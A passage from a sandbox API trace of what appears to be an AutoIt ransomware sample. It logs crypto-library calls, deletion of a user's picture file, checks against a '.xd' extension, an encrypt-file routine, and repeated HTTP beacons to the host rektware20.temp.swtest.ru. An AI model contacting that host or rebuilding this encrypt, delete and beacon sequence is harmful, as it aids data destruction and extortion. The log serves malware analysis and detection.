lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.424] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.424] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.424] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.424] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.424] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.424] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.424] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.424] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.425] CryptReleaseContext (hProv=0x17a9f88, dwFlags=0x0) returned 1 [0062.425] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.425] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.425] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.425] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.425] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.425] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.426] CloseHandle (hObject=0x3bc) returned 1 [0062.426] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.426] CloseHandle (hObject=0x2ac) returned 1 [0062.429] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.429] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.429] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", lpFilePart=0x0) returned 0x4c [0062.429] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\42v5xiiejl7_qh.jpg")) returned 0x20 [0062.430] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c970 [0062.430] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\42v5xiiejl7_qh.jpg")) returned 1 [0062.432] FindNextFileW (in: hFindFile=0x164c970, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0062.432] FindClose (in: hFindFile=0x164c970 | out: hFindFile=0x164c970) returned 1 [0062.432] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.432] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.432] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.432] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.432] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0062.432] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.433] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.433] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0062.433] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.433] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0062.433] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0062.433] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c) returned 1 [0062.433] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.433] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.433] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.434] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0062.434] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0062.434] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0062.434] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0062.434] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0062.434] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.435] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.435] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.435] CloseHandle (hObject=0x0) returned 0 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jGIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GIW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IW7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pDjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jIZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZM\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GmRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mRsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rsq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sq0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JP-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.437] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.438] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0062.438] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.438] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0062.438] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0062.438] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.438] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0062.438] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0062.438] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c) returned 1 [0062.438] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.438] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.438] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.439] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0062.439] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0062.439] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0062.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0062.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629360, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629360*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0062.439] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.440] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.440] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.440] CloseHandle (hObject=0x0) returned 0 [0062.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.440] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0062.440] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.440] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 